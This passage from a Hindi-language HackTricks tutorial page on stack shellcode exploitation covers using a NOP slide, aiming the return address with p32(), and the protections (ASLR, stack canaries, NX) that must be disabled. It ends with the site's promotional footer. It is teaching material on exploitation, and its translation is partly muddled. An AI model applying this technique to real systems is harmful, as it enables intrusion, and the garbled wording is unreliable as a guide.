स्लाइड** (`asm('nop')`) का उपयोग यह सुनिश्चित करने के लिए किया जाता है कि निष्पादन हमारे शेलकोड में "स्लाइड" होगा चाहे वास्तविक पते कुछ भी हो। `p32()` तर्क को अपने बफर के प्रारंभ पते पर एक ओफ़्सेट के साथ समायोजित करें ताकि NOP स्लाइड में लैंड हो सके। + +## सुरक्षा + +* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) को अक्षम कर देना चाहिए ताकि पता हमेशा से विश्वसनीय हो या तो कार्य को स्थानियों के अंदर निष्पादित किया जाएगा या फिर जीत कार्य को कहाँ लोड हो रहा है उसे जानने के लिए कुछ लीक की आवश्यकता होगी। +* [**स्टैक कैनेरीज़**](../common-binary-protections-and-bypasses/stack-canaries/) को भी अक्षम कर देना चाहिए अन्यथा कंप्रोमाइज़्ड EIP रिटर्न पता कभी भी अनुसरण नहीं किया जाएगा। +* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **स्टैक** सुरक्षा शेलकोड के निष्पादन को स्टैक के अंदर निष्पादित करने से रोकेगा क्योंकि उस क्षेत्र को क्रियाशील नहीं किया जाएगा। + +## अन्य उदाहरण + +* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) + +
+ +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! + +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) पर **फॉलो** करें। +* **अपने हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड गिटहब रेपो में PR जमा करके। + +